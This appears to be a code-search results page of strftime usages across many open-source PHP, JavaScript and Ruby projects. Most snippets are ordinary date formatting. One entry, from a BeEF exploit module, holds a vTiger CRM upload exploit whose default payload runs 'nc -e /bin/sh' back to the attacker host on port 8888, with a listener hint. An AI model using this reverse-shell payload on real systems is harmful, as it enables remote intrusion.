28 * of 0000-00-00 dates (cybot, boots) 29 * @link http://smarty.php.net/manual/en/language.function.html.select.date.php {html_select_date} 30 * (Smarty online manual) 72 $prefix = "Date_"; 73 $start_year = strftime("%Y"); 74 $end_year = $start_year; 86 $reverse_years = false; 87 /* Should the select boxes be part of an array when returned from PHP? 88 e.g. setting it to "birthday", would create "birthday[Day]", 183 if ($match[1] == '+') { 184 $end_year = strftime('%Y') + $match[2]; 185 } else { 185 } else { 186 $end_year = strftime('%Y') - $match[2]; 187 }datatype-date-format.js https://gitlab.com/Mirros/jsdelivr | JavaScript | 392 lines
33/** 34 * Format date module implements strftime formatters for javascript based on the 35 * Open Group specification defined at 35 * Open Group specification defined at 36 * http://www.opengroup.org/onlinepubs/007908799/xsh/strftime.html 37 * This implementation does not include modified conversion specifiers (i.e., Ex and Ox) 188 * <p> 189 * Any strftime string is supported, such as "%I:%M:%S %p". strftime has several format specifiers defined by the Open group at 190 * <a href="http://www.opengroup.org/onlinepubs/007908799/xsh/strftime.html">http://www.opengroup.org/onlinepubs/007908799/xsh/strftime.html</a> 190 * <a href="http://www.opengroup.org/onlinepubs/007908799/xsh/strftime.html">http://www.opengroup.org/onlinepubs/007908799/xsh/strftime.html</a> 191 * PHP added a few of its own, defined at <a href="http://www.php.net/strftime">http://www.php.net/strftime</a> 192 * </p> 193 * <p> 194 * This javascript implementation supports all the PHP specifiers and a few more. The full list is below. 195 * </p>BaseFcrepfis.php https://github.com/cidesa/siga-universitario.git | PHP | 719 lines
1<?php 2 93 } elseif (strpos($format, '%') !== false) { 94 return adodb_strftime($format, $ts); 95 } else { 166 } elseif (strpos($format, '%') !== false) { 167 return adodb_strftime($format, $ts); 168 } else { 485 486 public function getByName($name, $type = BasePeer::TYPE_PHPNAME) 487 { 537 538 public function toArray($keyType = BasePeer::TYPE_PHPNAME) 539 { 558 559 public function setByName($name, $value, $type = BasePeer::TYPE_PHPNAME) 560 {view_entry.php https://github.com/jessfishenden/mrbs-mcr.git | PHP | 415 lines
160 // single entry from a series that is used by del_entry.php and 161 // edit_entry.php 162 // So I will look for the first entry in the series where the entry is 215 $rep_type = $row['rep_type']; 216 $rep_end_date = utf8_strftime('%A %d %B %Y',$row['end_date']); 217 $rep_opt = $row['rep_opt']; 248 <tr> 249 <td><?php echo get_vocab("room") ?>:</td> 250 <td><?php echo mrbs_nl2br($area_name . " - " . $room_name) ?></td> 274 <tr> 275 <td><?php echo get_vocab("lastupdate") ?>:</td> 276 <td><?php echo $updated ?></td> 405 ?> 406 <a href="<?php echo htmlspecialchars($HTTP_REFERER) ?>"><?php echo get_vocab("returnprev") ?></a> 407 <?phpCalendarUtil.php https://github.com/lenix/EventCalendar.git | PHP | 319 lines
1<?php 2 85 // Need to figure out how we're handling non- UTF-8 users. 86 //return utf8_encode(strftime($char, $ts)); 87 return strftime($char,$ts);class-wc-admin-webhooks.php https://gitlab.com/webkod3r/tripolis | PHP | 514 lines
48 49 $name = ! empty( $_POST['webhook_name'] ) ? $_POST['webhook_name'] : sprintf( __( 'Webhook created on %s', 'woocommerce' ), strftime( _x( '%b %d, %Y @ %I:%M %p', 'Webhook created on date parsed by strftime', 'woocommerce' ) ) ); 50 $wpdb->update( $wpdb->posts, array( 'post_title' => $name ), array( 'ID' => $webhook_id ) ); 166 // Redirect to webhook edit page to avoid settings save actions 167 wp_safe_redirect( admin_url( 'admin.php?page=wc-settings&tab=api§ion=webhooks&edit-webhook=' . $webhook->id . '&error=' . urlencode( $result->get_error_message() ) ) ); 168 exit(); 172 // Redirect to webhook edit page to avoid settings save actions 173 wp_safe_redirect( admin_url( 'admin.php?page=wc-settings&tab=api§ion=webhooks&edit-webhook=' . $webhook->id . '&updated=1' ) ); 174 exit(); 194 'post_password' => strlen( ( $password = uniqid( 'webhook_' ) ) ) > 20 ? substr( $password, 0, 20 ) : $password, 195 'post_title' => sprintf( __( 'Webhook created on %s', 'woocommerce' ), strftime( _x( '%b %d, %Y @ %I:%M %p', 'Webhook created on date parsed by strftime', 'woocommerce' ) ) ), 196 'comment_status' => 'open' 233 // Redirect to webhooks page 234 wp_redirect( admin_url( 'admin.php?page=wc-settings&tab=api§ion=webhooks' . $status . '&' . $type . '=' . $qty ) ); 235 exit();App.php https://github.com/sluther/Cerb5-Example-Plugins.git | PHP | 132 lines
1<?php 2class ExReportGroup extends Extension_ReportGroup { 82 if($time <= $end_time) 83 $ticks[strftime($date_group, $time)] = 0; 84 }module.rb https://github.com/asaafan/BeEF.git | Ruby | 64 lines
32 'Name' => 'VTiger CRM Upload Exploit', 33 'Description' => 'This module demonstrates chained exploitation. It will upload and execute a reverse bindshell. The vulnerability is exploited in the CRM <a href="http://www.vtiger.com/">vtiger 5.0.4</a><br />The default PHP requires a listener, so don\'t forget to start one, for example: nc -l 8888. <br><br>vTigerCRM 5.0.4: Use extension "PHP" and php code.<br>vTigerCRM 5.2.0: Use extension "phtml" and php code.<br>vTigerCRM 5.2.1: Use extensions "shtml" and SSI code.', 34 'Category' => 'Network', 38 {'name'=>'vtiger_url', 'ui_label' =>'Target Web Server','value'=>'http://vulnerable-vtiger.site','width'=>'400px'}, 39 {'name'=>'vtiger_filepath','ui_label'=>'Target Directory','value'=>'/storage/'+time.year.to_s()+'/'+time.strftime("%B")+'/week'+weekno.to_s()+'/','width'=>'400px'}, 40 {'name'=>'mal_filename','ui_label'=>'Malicious Filename','value'=>rand(32**10).to_s(32),'width'=>'400px'}, 41 {'name'=>'mal_ext','ui_label'=>'Malicious File Extension','value'=>'PHP','width'=>'400px'}, 42 {'name'=>'vtiger_php','ui_label'=>'Injected PHP (must escape single quotes)','value'=>'<?php passthru("/bin/nc -e /bin/sh '+beef_host+' 8888"); ?>','type'=>'textarea','width'=>'400px','height'=>'100px'}, 43 {'name'=>'upload_timeout','ui_label'=>'Upload Timeout','value'=>'5000'}tag_generator.rb https://gitlab.com/mcorp/mcorp-blog | Ruby | 169 lines
7# Copyright (c) 2012 Robby Edwards, http://robbyedwards.com/ 8# Licensed under the MIT license (http://www.opensource.org/licenses/mit-license.php) 9# 160 def date_to_html_string(date) 161 result = '<span class="month">' + date.strftime('%b').upcase + '</span> ' 162 result += date.strftime('<span class="day">%d</span> ') 162 result += date.strftime('<span class="day">%d</span> ') 163 result += date.strftime('<span class="year">%Y</span> ') 164 resultTstampTask.php https://github.com/richhl/kalturaCE.git | PHP | 168 lines
1<?php 2/* 2/* 3 * $Id: TstampTask.php 3076 2006-12-18 08:52:12Z fabien $ 4 * 21 22require_once 'phing/Task.php'; 23 78 79 $dstamp = strftime('%Y%m%d'); 80 $this->prefixProperty('DSTAMP', $dstamp); 81 82 $tstamp = strftime('%H%M'); 83 $this->prefixProperty('TSTAMP', $tstamp); 116 * The date/time pattern to be used. The values are as 117 * defined by the PHP strftime() function. 118 *external.php https://gitlab.com/unofficial-mirrors/moodle | PHP | 153 lines
1<?php 2// This file is part of Moodle - http://moodle.org/ 28 29require_once("$CFG->libdir/externallib.php"); 30require_once("$CFG->dirroot/comment/lib.php"); 138 'timecreated' => new external_value(PARAM_INT, 'Time created (timestamp)'), 139 'strftimeformat' => new external_value(PARAM_NOTAGS, 'Time format'), 140 'profileurl' => new external_value(PARAM_URL, 'URL profile'),bluepay_redirect.php https://gitlab.com/hazelnuts23/unitedfoodstuff | PHP | 147 lines
1<?php 2class ControllerPaymentBluePayRedirect extends Controller { 34 $data['months'][] = array( 35 'text' => strftime('%B', mktime(0, 0, 0, $i, 1, 2000)), 36 'value' => sprintf('%02d', $i) 45 $data['year_expire'][] = array( 46 'text' => strftime('%Y', mktime(0, 0, 0, 1, 1, $i)), 47 'value' => strftime('%Y', mktime(0, 0, 0, 1, 1, $i))Schedule.php https://github.com/rgranadino/magento-mirror.git | PHP | 219 lines
1<?php 2/** 9 * It is also available through the world-wide-web at this URL: 10 * http://opensource.org/licenses/osl-3.0.php 11 * If you did not receive a copy of the license and are unable to 23 * @copyright Copyright (c) 2011 Magento Inc. (http://www.magentocommerce.com) 24 * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) 25 */ 101 if ($match) { 102 $this->setCreatedAt(strftime('%Y-%m-%d %H:%M:%S', time())); 103 $this->setScheduledAt(strftime('%Y-%m-%d %H:%M', $time));Zenity.php https://github.com/machour/php-gnome.git | PHP | 329 lines
1<?php 2/** 10 */ 11require_once 'ZenityWrapper.php'; 12 13/** 14 * Zenity - A simple Zenity PHP wrapper 15 * 188 // Add and hide the internal id column 189 array_unshift($fieldsNames, '@@@PHPZENITYID@@@'); 190 216 } 217 $args['separator'] = '@@@PHPZENITYSEP@@@'; 218 $ret = parent::doList($args); 262 * @param string $text Specifies the text that is displayed in the progress dialog 263 * @param string $format The date format to be retrieved. See strftime() for syntax. 264 * @param int $day Set the calendar daysettings_lang.php https://bitbucket.org/viktorfabry/banditos.git | PHP | 169 lines
1<?php defined('BASEPATH') OR exit('No direct script access allowed'); 2 31$lang['settings_date_format'] = '日期格式'; 32$lang['settings_date_format_desc'] = '設定網站前後台的日期顯示格式。請參考 <a href="http://php.net/manual/en/function.date.php" target="_black">date format</a> from PHP - 或是 - 參考 <a href="http://php.net/manual/en/function.strftime.php" target="_black">strings formated as date</a> from PHP.'; 33 168 169/* End of file settings_lang.php */review_item.php https://gitlab.com/xusasuke6/Slg_php | PHP | 400 lines
1<?php 2define('IN_DATANG_SYSTEM', true); 2define('IN_DATANG_SYSTEM', true); 3include "../../../config/config.php"; 4include "../../../admin/class/admin_log_class.php"; 4include "../../../admin/class/admin_log_class.php"; 5include SYSDIR_ADMIN."/include/global.php"; 6global $smarty, $db; 31if ( !isset($_REQUEST['dateStart'])) 32 $dateStart = strftime ("%Y-%m-%d", time() - 86400*7 ); 33else 36if ( !isset($_REQUEST['dateEnd'])) 37 $dateEnd = strftime ("%Y-%m-%d", time() ); 38else 43 44$dateStartStr = strftime ("%Y-%m-%d", $dateStartStamp); 45$dateEndStr = strftime ("%Y-%m-%d", $dateEndStamp);